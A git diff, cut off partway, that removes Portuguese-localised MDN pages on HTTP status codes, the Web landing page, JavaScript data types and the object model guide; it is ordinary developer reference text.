- <dd>This response would be sent when the requested content has been permanently deleted from server, with no forwarding address. Clients are expected to remove their caches and links to the resource. The HTTP specification intends this status code to be used for "limited-time, promotional services". APIs should not feel compelled to indicate resources that have been deleted with this status code.</dd>
- <dt>{{HTTPStatus(411, "411 Length Required")}}</dt>
- <dd>Server rejected the request because the <code>Content-Length</code> header field is not defined and the server requires it.</dd>
- <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt>
- <dd>The client has indicated preconditions in its headers which the server does not meet.</dd>
- <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt>
- <dd>Request entity is larger than limits defined by server; the server might close the connection or return an <code>Retry-After</code> header field.</dd>
- <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt>
- <dd>The URI requested by the client is longer than the server is willing to interpret.</dd>
- <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt>
- <dd>The media format of the requested data is not supported by the server, so the server is rejecting the request.</dd>
- <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt>
- <dd>The range specified by the <code>Range</code> header field in the request can't be fulfilled; it's possible that the range is outside the size of the target URI's data.</dd>
- <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt>
- <dd>This response code means the expectation indicated by the <code>Expect</code> request header field can't be met by the server.</dd>
- <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt>
- <dd>The server refuses the attempt to brew coffee with a teapot.</dd>
- <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt>
- <dd>The request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI.</dd>
- <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt>
- <dd>The request was well-formed but was unable to be followed due to semantic errors.</dd>
- <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt>
- <dd>The resource that is being accessed is locked.</dd>
- <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt>
- <dd>The request failed due to failure of a previous request.</dd>
- <dt>{{HTTPStatus(425, "425 Too Early")}}</dt>
- <dd>Indicates that the server is unwilling to risk processing a request that might be replayed.</dd>
- <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt>
- <dd>The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. The server sends an {{HTTPHeader("Upgrade")}} header in a 426 response to indicate the required protocol(s).</dd>
- <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt>
- <dd>The origin server requires the request to be conditional. Intended to prevent the 'lost update' problem, where a client GETs a resource's state, modifies it, and PUTs it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict.</dd>
- <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt>
- <dd>The user has sent too many requests in a given amount of time ("rate limiting").</dd>
- <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt>
- <dd>The server is unwilling to process the request because its header fields are too large. The request MAY be resubmitted after reducing the size of the request header fields.</dd>
- <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt>
- <dd>The user requests an illegal resource, such as a web page censored by a government.</dd>
-</dl>
-
-<h2 id="Server_error_responses">Server error responses</h2>
-
-<dl>
- <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt>
- <dd>The server has encountered a situation it doesn't know how to handle.</dd>
- <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt>
- <dd>The request method is not supported by the server and cannot be handled. The only methods that servers are required to support (and therefore that must not return this code) are <code>GET</code> and <code>HEAD</code>.</dd>
- <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt>
- <dd>This error response means that the server, while working as a gateway to get a response needed to handle the request, got an invalid response.</dd>
- <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt>
- <dd>The server is not ready to handle the request. Common causes are a server that is down for maintenance or that is overloaded. Note that together with this response, a user-friendly page explaining the problem should be sent. This responses should be used for temporary conditions and the <code>Retry-After:</code> HTTP header should, if possible, contain the estimated time before the recovery of the service. The webmaster must also take care about the caching-related headers that are sent along with this response, as these temporary condition responses should usually not be cached.</dd>
- <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt>
- <dd>This error response is given when the server is acting as a gateway and cannot get a response in time.</dd>
- <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt>
- <dd>The HTTP version used in the request is not supported by the server.</dd>
- <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt>
- <dd>The server has an internal configuration error: transparent content negotiation for the request results in a circular reference.</dd>
- <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt>
- <dd>The server has an internal configuration error: the chosen variant resource is configured to engage in transparent content negotiation itself, and is therefore not a proper end point in the negotiation process.</dd>
- <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt>
- <dd>The server detected an infinite loop while processing the request.</dd>
- <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt>
- <dd>Further extensions to the request are required for the server to fulfill it.</dd>
- <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt>
- <dd>The 511 status code indicates that the client needs to authenticate to gain network access.</dd>
-</dl>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-
-
-<p>{{Compat("http.status")}}</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">List of HTTP status codes on Wikipedia</a></li>
- <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">IANA official registry of HTTP status codes</a></li>
-</ul>
diff --git a/files/pt-pt/web/index.html b/files/pt-pt/web/index.html
deleted file mode 100644
index 7edc7ff11e..0000000000
--- a/files/pt-pt/web/index.html
+++ /dev/null
@@ -1,88 +0,0 @@
----
-title: Tecnologia da Web para programadores
-slug: Web
-tags:
- - Landing
- - Web
-translation_of: Web
----
-<p>A Web aberta apresenta oportunidades incriveis para os programadores. Para tirar o máximo proveito destas tecnologias, precisa de saber como utilizá-las. Em baixo, irá encontrar as hiperligações para a documentação da MDN sobre as tecnologias da Web.</p>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 class="Documentation" id="Tecnologias_da_Web">Tecnologias da Web</h2>
-
-<div class="row topicpage-table">
-<div class="section">
-<h3 id="Basics">Basics</h3>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/HTML">HTML</a></dt>
- <dd>A "Linguagem de Marcação de Hipertexto" é a linguagem utilizada para descrever e definir o conteúdo de uma página da Web num formato bem estruturado.</dd>
- <dt><a href="/pt-PT/docs/Web/CSS">CSS</a></dt>
- <dd>"Folhas de Estilo em Cascata" é utilizado para descrever a aparência de conteúdo da Web.</dd>
-</dl>
-
-<h3 id="Scripting">Scripting</h3>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/JavaScript">JavaScript</a></dt>
- <dd>JavaScript  é uma linguagem de programação que é executada no seu navegador, que é utilizada para criar <em>sites</em> da Web interativos e aplicações para a execução de um navegador seguro.</dd>
- <dt><a href="pt-PT/docs/Web/Reference/API">APIs da Web</a></dt>
- <dd>Reference material for each of the individual APIs that comprise the Web's powerful scriptability, including the <a href="/pt-PT/docs/DOM">DOM</a> and all of the related APIs and interfaces you can use to build Web content and apps.
- <ul>
- <li><a href="/pt-PT/docs/Web/API" title="/en-US/docs/Web/API">Web API interface reference</a> — all interfaces, arranged alphabetically.</li>
- <li>The <a href="/pt-PT/docs/WebAPI">WebAPI page</a> lists device-access APIs and other APIs useful for applications.</li>
- </ul>
- </dd>
-</dl>
-
-<h3 id="Gráficos">Gráficos</h3>
-
-<dl>
- <dt><a href="/pt-PT/docs/SVG">SVG</a></dt>
- <dd>Scalable Vector Graphics let you describe images as sets of vectors (lines) and shapes in order to allow them to scale smoothly regardless of the size at which they're drawn.</dd>
- <dt><a href="/pt-PT/docs/Web/API/WebGL_API" title="/en-US/docs/Web/WebGL">WebGL</a></dt>
- <dd>WebGL brings 3D graphics to the Web by introducing an API that closely conforms to OpenGL ES 2.0, which can be used in HTML {{HTMLElement("canvas")}} elements.</dd>
-</dl>
-
-<h3 id="Outros">Outros</h3>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/MathML">MathML</a></dt>
- <dd>Mathematical Markup Language makes it possible to display complex mathematical equations and syntax.</dd>
-</dl>
-</div>
-
-<div class="section">
-<h2 class="Documentation" id="Documentação_por_tipo">Documentação por tipo</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/Guide">Guia do Programador da Web</a></dt>
- <dd>O "Guia de Programadore da Web" fornece conteúdo útil de instruções para ajudá-lo a realmente utilizar as tecnologias da Web para fazer o que deseja ou precisa.</dd>
- <dt><a href="/pt-PT/docs/Web/Tutoriais">Tutoriais para os programadores da Web</a></dt>
- <dd>Uma lista de tutoriais para o guiar passo-a-passo pelas APIs de aprendizagem, tecnologias ou áreas de tópicos abrangentes.</dd>
- <dt><a href="/pt-PT/docs/Web/Reference">Referências</a></dt>
- <dd>
- <div class="note">Esta página irá oferecer hiperligações para todas a informação de referência na MDN, mas esta ainda está em desenvolvimento.</div>
- </dd>
-</dl>
-
-<h2 id="Outros_tópicos">Outros tópicos</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/Progressive_web_apps">Desenvolver aplicações da Web</a></dt>
- <dd>Documentation for Web application developers; Web apps are true write-once, deploy anywhere apps for mobile, desktop, and Firefox OS.</dd>
- <dt><a href="/pt-PT/docs/Web/Accessibility">Acessibilidade</a></dt>
- <dd>Accessibility in Web development means enabling as many people as possible to use Web sites, even when those people's abilities are limited in some way. Here we provide information on developing Web content to be accessible.</dd>
- <dt><a href="/pt-PT/docs/Web/Security">Segurança</a></dt>
- <dd>
- <p>É essencial garantir que o seu <em>site</em> da Web ou aplicação da Web aberta esteja segura.</p>
- </dd>
-</dl>
-</div>
-</div>
-
-<p><span class="alllinks"><a href="/pt-PT/docs/tag/Web">Ver Tudo...</a></span></p>
-</div>
-</div>
diff --git a/files/pt-pt/web/javascript/data_structures/index.html b/files/pt-pt/web/javascript/data_structures/index.html
deleted file mode 100644
index bdefa55efe..0000000000
--- a/files/pt-pt/web/javascript/data_structures/index.html
+++ /dev/null
@@ -1,298 +0,0 @@
----
-title: Tipos de dados de JavaScript e estruturas de dados
-slug: Web/JavaScript/Data_structures
-tags:
- - JavaScript
- - Principiante
- - Tipos
-translation_of: Web/JavaScript/Data_structures
-original_slug: Web/JavaScript/Estruturas_de_dados
----
-<div>{{jsSidebar("More")}}</div>
-
-<p>Programming languages all have built-in data structures, but these often differ from one language to another. This article attempts to list the built-in data structures available in JavaScript and what properties they have; these can be used to build other data structures. When possible, comparisons with other languages are drawn.</p>
-
-<h2 id="Digitação_dinâmica">Digitação dinâmica</h2>
-
-<p>JavaScript is a <em>loosely typed</em> or a <em>dynamic</em> language. Variables in JavaScript are not directly associated with any particular value type, and any variable can be assigned (and re-assigned)  values of all types:</p>
-
-<pre class="brush: js">var foo = 42; // foo is now a Number
-var foo = 'bar'; // foo is now a String
-var foo = true; // foo is now a Boolean
-</pre>
-
-<h2 id="Tipos_de_dados">Tipos de dados</h2>
-
-<p>The latest ECMAScript standard defines seven data types:</p>
-
-<ul>
- <li>Six data types that are {{Glossary("Primitive", "primitives")}}:
- <ul>
- <li>{{Glossary("Boolean")}}</li>
- <li>{{Glossary("Null")}}</li>
- <li>{{Glossary("Undefined")}}</li>
- <li>{{Glossary("Number")}}</li>
- <li>{{Glossary("String")}}</li>
- <li>{{Glossary("Symbol")}} (new in ECMAScript 6)</li>
- </ul>
- </li>
- <li>and {{Glossary("Object")}}</li>
-</ul>
-
-<h2 id="Valores_primitivos">Valores primitivos</h2>
-
-<p>All types except objects define immutable values (values, which are incapable of being changed). For example and unlike to C, Strings are immutable. We refer to values of these types as "primitive values".</p>
-
-<h3 id="Tipo_booleano">Tipo booleano</h3>
-
-<p>Boolean represents a logical entity and can have two values: <code>true</code>, and <code>false</code>.</p>
-
-<h3 id="Tipo_Null">Tipo <em>Null</em></h3>
-
-<p>The Null type has exactly one value: <code>null</code>. See {{jsxref("null")}} and {{Glossary("Null")}} for more details.</p>
-
-<h3 id="Tipo_indefinido">Tipo indefinido</h3>
-
-<p>A variable that has not been assigned a value has the value <code>undefined</code>. See {{jsxref("undefined")}} and {{Glossary("Undefined")}} for more details.</p>
-
-<h3 id="Tipo_número">Tipo número</h3>
-
-<p>According to the ECMAScript standard, there is only one number type: the <a href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">double-precision 64-bit binary format IEEE 754 value</a> (number between -(2<sup>53</sup> -1) and 2<sup>53</sup> -1). <strong>There is no specific type for integers</strong>. In addition to being able to represent floating-point numbers, the number type has three symbolic values: <code>+Infinity</code>, <code>-Infinity</code>, and <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a> (not-a-number).</p>
-
-<p>To check for the largest available value or smallest available value within <code>+/-Infinity</code>, you can use the constants {{jsxref("Number.MAX_VALUE")}} or {{jsxref("Number.MIN_VALUE")}} and starting with ECMAScript 6, you are also able to check if a number is in the double-precision floating-point number range using {{jsxref("Number.isSafeInteger()")}} as well as {{jsxref("Number.MAX_SAFE_INTEGER")}} and {{jsxref("Number.MIN_SAFE_INTEGER")}}. Beyond this range, integers in JavaScript are not safe anymore and will be a double-precision floating point approximation of the value.</p>
-
-<p>The number type has only one integer that has two representations: 0 is represented as -0 and +0. ("0" is an alias for +0). In the praxis, this has almost no impact. For example <code>+0 === -0</code> is <code>true</code>. However, you are able to notice this when you divide by zero:</p>
-
-<pre class="brush: js">&gt; 42 / +0
-Infinity
-&gt; 42 / -0
--Infinity
-</pre>
-
-<p>Although a number often represents only its value, JavaScript provides <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="en/JavaScript/Reference/Operators/Bitwise_Operators">some binary operators</a>. These can be used to represent several Boolean values within a single number using <a class="external" href="http://en.wikipedia.org/wiki/Mask_%28computing%29">bit masking</a>. However, this is usually considered a bad practice, since JavaScript offers other means to represent a set of Booleans (like an array of Booleans or an object with Boolean values assigned to named properties). Bit masking also tends to make code more difficult to read, understand, and maintain. It may be necessary to use such techniques in very constrained environments, like when trying to cope with the storage limitation of local storage or in extreme cases when each bit over the network counts. This technique should only be considered when it is the last measure that can be taken to optimize size.</p>
-
-<h3 id="Tipo_string">Tipo <em>string</em></h3>
-
-<p>JavaScript's {{jsxref("Global_Objects/String", "String")}} type is used to represent textual data. It is a set of "elements" of 16-bit unsigned integer values. Each element in the String occupies a position in the String. The first element is at index 0, the next at index 1, and so on. The length of a String is the number of elements in it.</p>
-
-<p>Unlike in languages like C, JavaScript strings are immutable. This means that once a string is created, it is not possible to modify it. However, it is still possible to create another string based on an operation on the original string. For example:</p>
-
-<ul>
- <li>A substring of the original by picking individual letters or using {{jsxref("String.substr()")}}.</li>
- <li>A concatenation of two strings using the concatenation operator (<code>+</code>) or {{jsxref("String.concat()")}}.</li>
-</ul>
-
-<h4 id="Beware_of_stringly-typing_your_code!">Beware of "stringly-typing" your code!</h4>
-
-<p>It can be tempting to use strings to represent complex data. Doing this comes with short-term benefits:</p>
-
-<ul>
- <li>It is easy to build complex strings with concatenation.</li>
- <li>Strings are easy to debug (what you see printed is always what is in the string).</li>
- <li>Strings are the common denominator of a lot of APIs (<a href="/en-US/docs/Web/API/HTMLInputElement" title="HTMLInputElement">input fields</a>, <a href="/en-US/docs/Storage" title="Storage">local storage</a> values, {{ domxref("XMLHttpRequest") }} responses when using <code>responseText</code>, etc.) and it can be tempting to only work with strings.</li>
-</ul>
-
-<p>With conventions, it is possible to represent any data structure in a string. This does not make it a good idea. For instance, with a separator, one could emulate a list (while a JavaScript array would be more suitable). Unfortunately, when the separator is used in one of the "list" elements, then, the list is broken. An escape character can be chosen, etc. All of this requires conventions and creates an unnecessary maintenance burden.</p>
-
-<p>Use strings for textual data. When representing complex data, parse strings and use the appropriate abstraction.</p>
-
-<h3 id="Tipo_símbolo">Tipo símbolo</h3>
-
-<p>Symbols are new to JavaScript in ECMAScript Edition 6. A Symbol is a <strong>unique</strong> and <strong>immutable</strong> primitive value and may be used as the key of an Object property (see below). In some programming languages, Symbols are called atoms. For more details see {{Glossary("Symbol")}} and the {{jsxref("Symbol")}} object wrapper in JavaScript.</p>
-
-<h2 id="Objetos">Objetos</h2>
-
-<p>In computer science, an object is a value in memory which is possibly referenced by an {{Glossary("Identifier", "identifier")}}.</p>
-
-<h3 id="Propriedades">Propriedades</h3>
-
-<p>In JavaScript, objects can be seen as a collection of properties. With the <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">object literal syntax</a>, a limited set of properties are initialized; then properties can be added and removed. Property values can be values of any type, including other objects, which enables building complex data structures. Properties are identified using key values. A key value is either a String or a Symbol value.</p>
-
-<p>There are two types of object properties which have certain attributes: The data property and the accessor property.</p>
-
-<h4 id="Data_property">Data property</h4>
-
-<p>Associates a key with a value and has the following attributes:</p>
-
-<table class="standard-table">
- <caption>Attributes of a data property</caption>
- <tbody>
- <tr>
- <th>Attribute</th>
- <th>Type</th>
- <th>Description</th>
- <th>Default value</th>
- </tr>
- <tr>
- <td>[[Value]]</td>
- <td>Any JavaScript type</td>
- <td>The value retrieved by a get access of the property.</td>
- <td>undefined</td>
- </tr>
- <tr>
- <td>[[Writable]]</td>
- <td>Boolean</td>
- <td>If <code>false</code>, the property's [[Value]] can't be changed.</td>
- <td>false</td>
- </tr>
- <tr>
- <td>[[Enumerable]]</td>
- <td>Boolean</td>
- <td>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops. See also <a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></td>
- <td>false</td>
- </tr>
- <tr>
- <td>[[Configurable]]</td>
- <td>Boolean</td>
- <td>If <code>false</code>, the property can't be deleted and attributes other than [[Value]] and [[Writable]] can't be changed.</td>
- <td>false</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Obsolete attributes (as of ECMAScript 3, renamed in ECMAScript 5)</caption>
- <tbody>
- <tr>
- <th>Attribute</th>
- <th>Type</th>
- <th>Description</th>
- </tr>
- <tr>
- <td>Read-only</td>
- <td>Boolean</td>
- <td>Reversed state of the ES5 [[Writable]] attribute.</td>
- </tr>
- <tr>
- <td>DontEnum</td>
- <td>Boolean</td>
- <td>Reversed state of the ES5 [[Enumerable]] attribute.</td>
- </tr>
- <tr>
- <td>DontDelete</td>
- <td>Boolean</td>
- <td>Reversed state of the ES5 [[Configurable]] attribute.</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Accessor_property">Accessor property</h4>
-
-<p>Associates a key with one or two accessor functions (get and set) to retrieve or store a value and has the following attributes:</p>
-
-<table class="standard-table">
- <caption>Attributes of an accessor property</caption>
- <tbody>
- <tr>
- <th>Attribute</th>
- <th>Type</th>
- <th>Description</th>
- <th>Default value</th>
- </tr>
- <tr>
- <td>[[Get]]</td>
- <td>Function object or undefined</td>
- <td>The function is called with an empty argument list and retrieves the property value whenever a get access to the value is performed. See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/get"><code>get</code></a>.</td>
- <td>undefined</td>
- </tr>
- <tr>
- <td>[[Set]]</td>
- <td>Function object or undefined</td>
- <td>The function is called with an argument that contains the assigned value and is executed whenever a specified property is attempted to be changed. See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/set"><code>set</code></a>.</td>
- <td>undefined</td>
- </tr>
- <tr>
- <td>[[Enumerable]]</td>
- <td>Boolean</td>
- <td>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops.</td>
- <td>false</td>
- </tr>
- <tr>
- <td>[[Configurable]]</td>
- <td>Boolean</td>
- <td>If <code>false</code>, the property can't be deleted and can't be changed to a data property.</td>
- <td>false</td>
- </tr>
- </tbody>
-</table>
-
-<div class="note">
-<p><strong>Note: </strong>Attribute is usually used by JavaScript engine, so you can't directly access it(see more about <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty()</a>).That's why the attribute is put in double square brackets instead of single.</p>
-</div>
-
-<h3 id="Objetos_Normal_e_funções">Objetos "Normal", e funções</h3>
-
-<p>A JavaScript object is a mapping between keys and values. Keys are strings (or {{jsxref("Symbol")}}s) and values can be anything. This makes objects a natural fit for <a class="external" href="http://en.wikipedia.org/wiki/Hash_table">hashmaps</a>.</p>
-
-<p>Functions are regular objects with the additional capability of being callable.</p>
-
-<h3 id="Dates"><em>Dates</em></h3>
-
-<p>When representing dates, the best choice is to use the built-in <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date"><code>Date</code> utility</a> in JavaScript.</p>
-
-<h3 id="Coleções_indexadas_Arrays_e_Arrays_digitados">Coleções indexadas: <em>Arrays </em>e <em>Arrays </em>digitados</h3>
-
-<p><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="Array">Arrays</a> are regular objects for which there is a particular relationship between integer-key-ed properties and the 'length' property. Additionally, arrays inherit from <code>Array.prototype</code> which provides to them a handful of convenient methods to manipulate arrays. For example, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf" title="en/JavaScript/Reference/Global_Objects/Array/indexOf">indexOf</a></code> (searching a value in the array) or <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/push" title="en/JavaScript/Reference/Global_Objects/Array/push">push</a></code> (adding an element to the array), etc. This makes Arrays a perfect candidate to represent lists or sets.</p>
-
-<p><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed Arrays</a> are new to JavaScript with ECMAScript Edition 6 and present an array-like view of an underlying binary data buffer. The following table helps you to find the equivalent C data types:</p>
-
-<p>{{page("/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects", "", 0, 3)}}</p>
-
-<h3 id="Keyed_collections_Maps_Sets_WeakMaps_WeakSets">Keyed collections: Maps, Sets, WeakMaps, WeakSets</h3>
-
-<p>These data structures take object references as keys and are introduced in ECMAScript Edition 6. {{jsxref("Set")}} and {{jsxref("WeakSet")}} represent a set of objects, while {{jsxref("Map")}} and {{jsxref("WeakMap")}} associate a value to an object. The difference between Maps and WeakMaps is that in the former, object keys can be enumerated over. This allows garbage collection optimizations in the latter case.</p>
-
-<p>One could implement Maps and Sets in pure ECMAScript 5. However, since objects cannot be compared (in the sense of "less than" for instance), look-up performance would necessarily be linear. Native implementations of them (including WeakMaps) can have look-up performance that is approximately logarithmic to constant time.</p>
-
-<p>Usually, to bind data to a DOM node, one could set properties directly on the object or use <code>data-*</code> attributes. This has the downside that the data is available to any script running in the same context. Maps and WeakMaps make it easy to privately bind data to an object.</p>
-
-<h3 id="Structured_data_JSON">Structured data: JSON</h3>
-
-<p>JSON (JavaScript Object Notation) is a lightweight data-interchange format, derived from JavaScript but used by many programming languages. JSON builds universal data structures. See {{Glossary("JSON")}} and {{jsxref("JSON")}} for more details.</p>
-
-<h3 id="More_objects_in_the_standard_library">More objects in the standard library</h3>
-
-<p>JavaScript has a standard library of built-in objects. Please have a look at the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">reference</a> to find out about more objects.</p>
-
-<h2 id="Determining_types_using_the_typeof_operator">Determining types using the <code>typeof</code> operator</h2>
-
-<p>The <code>typeof</code> operator can help you to find the type of your variable. Please read the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof">reference page</a> for more details and edge cases.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-8', 'Types')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a class="link-https" href="https://github.com/nzakas/computer-science-in-javascript/">Nicholas Zakas collection of common data structure and common algorithms in JavaScript.</a></li>
- <li><a href="https://github.com/monmohan/DataStructures_In_Javascript" title="https://github.com/monmohan/DataStructures_In_Javascript">Search Tre(i)es implemented in JavaScript</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/guide/details_of_the_object_model/index.html b/files/pt-pt/web/javascript/guide/details_of_the_object_model/index.html
deleted file mode 100644
index 4f8afaf09a..0000000000
--- a/files/pt-pt/web/javascript/guide/details_of_the_object_model/index.html
+++ /dev/null
@@ -1,736 +0,0 @@
----
-title: Detalhes do modelo de objeto
-slug: Web/JavaScript/Guide/Details_of_the_Object_Model
-tags:
- - Guia(2)
- - Intermediário
- - JavaScript
- - Objeto
-translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
-original_slug: Web/JavaScript/Guia/Detalhes_do_modelo_de_objeto
----
-<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
-
-<div class="note">
-<p>The content of this article is under discussion. Please provide feedback and help us to make this page better: {{bug(1201380)}}.</p>
-</div>
-
-<p class="summary">JavaScript is an object-based language based on prototypes, rather than being class-based. Because of this different basis, it can be less apparent how JavaScript allows you to create hierarchies of objects and to have inheritance of properties and their values. This chapter attempts to clarify the situation.</p>
-
-<p>This chapter assumes that you are already somewhat familiar with JavaScript and that you have used JavaScript functions to create simple objects.</p>
-
-<h2 id="Linguagens_com_base_em_classe_versus_protótipo">Linguagens com base em classe versus protótipo</h2>
-
-<p>Class-based object-oriented languages, such as Java and C++, are founded on the concept of two distinct entities: classes and instances.</p>
-
-<ul>
- <li>A <em>class</em> defines all of the properties (considering methods and fields in Java, or members in C++, to be properties) that characterize a certain set of objects. A class is an abstract thing, rather than any particular member of the set of objects it describes. For example, the <code>Employee</code> class could represent the set of all employees.</li>
- <li>An <em>instance</em>, on the other hand, is the instantiation of a class; that is, one of its members. For example, <code>Victoria</code> could be an instance of the <code>Employee</code> class, representing a particular individual as an employee. An instance has exactly the same properties of its parent class (no more, no less).</li>
-</ul>
-
-<p>A prototype-based language, such as JavaScript, does not make this distinction: it simply has objects. A prototype-based language has the notion of a <em>prototypical object</em>, an object used as a template from which to get the initial properties for a new object. Any object can specify its own properties, either when you create it or at run time. In addition, any object can be associated as the <em>prototype</em> for another object, allowing the second object to share the first object's properties.</p>
-
-<h3 id="Definição_de_uma_classe">Definição de uma classe</h3>
-
-<p>In class-based languages, you define a class in a separate <em>class definition</em>. In that definition you can specify special methods, called <em>constructors</em>, to create instances of the class. A constructor method can specify initial values for the instance's properties and perform other processing appropriate at creation time. You use the <code>new</code> operator in association with the constructor method to create class instances.</p>
-
-<p>JavaScript follows a similar model, but does not have a class definition separate from the constructor. Instead, you define a constructor function to create objects with a particular initial set of properties and values. Any JavaScript function can be used as a constructor. You use the <code>new</code> operator with a constructor function to create a new object.</p>
-
-<h3 id="Subclasses_e_sucessão">Subclasses e sucessão</h3>
-
-<p>In a class-based language, you create a hierarchy of classes through the class definitions. In a class definition, you can specify that the new class is a <em>subclass</em> of an already existing class. The subclass inherits all the properties of the superclass and additionally can add new properties or modify the inherited ones. For example, assume the <code>Employee</code> class includes only the <code>name</code> and <code>dept</code> properties, and <code>Manager</code> is a subclass of <code>Employee</code> that adds the <code>reports</code> property. In this case, an instance of the <code>Manager</code> class would have all three properties: <code>name</code>, <code>dept</code>, and <code>reports</code>.</p>
-
-<p>JavaScript implements inheritance by allowing you to associate a prototypical object with any constructor function. So, you can create exactly the <code>Employee</code> — <code>Manager</code> example, but you use slightly different terminology. First you define the <code>Employee</code> constructor function, specifying the <code>name</code> and <code>dept</code> properties. Next, you define the <code>Manager</code> constructor function, calling the <code>Empl</code><code>oyee</code> constructor and specifying the <code>reports</code> property. Finally, you assign a new object derived from <code>Employee.prototype</code> as the <code>prototype</code> for the <code>Manager</code> constructor function. Then, when you create a new <code>Manager</code>, it inherits the <code>name</code> and <code>dept</code> properties from the <code>Employee</code> object.</p>
-
-<h3 id="Adição_e_remoção_de_propriedades">Adição e remoção de propriedades</h3>
-
-<p>In class-based languages, you typically create a class at compile time and then you instantiate instances of the class either at compile time or at run time. You cannot change the number or the type of properties of a class after you define the class. In JavaScript, however, at run time you can add or remove properties of any object. If you add a property to an object that is used as the prototype for a set of objects, the objects for which it is the prototype also get the new property.</p>
-
-<h3 id="Resumo_das_diferenças">Resumo das diferenças</h3>
-
-<p>The following table gives a short summary of some of these differences. The rest of this chapter describes the details of using JavaScript constructors and prototypes to create an object hierarchy and compares this to how you would do it in Java.</p>
-
-<table class="standard-table">
- <caption>Comparison of class-based (Java) and prototype-based (JavaScript) object systems</caption>
- <thead>
- <tr>
- <th scope="col">Com base em Classe (Java)</th>
- <th scope="col">Com base em Protótipo (JavaScript)</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Class and instance are distinct entities.</td>
- <td>All objects can inherit from another object.</td>
- </tr>
- <tr>
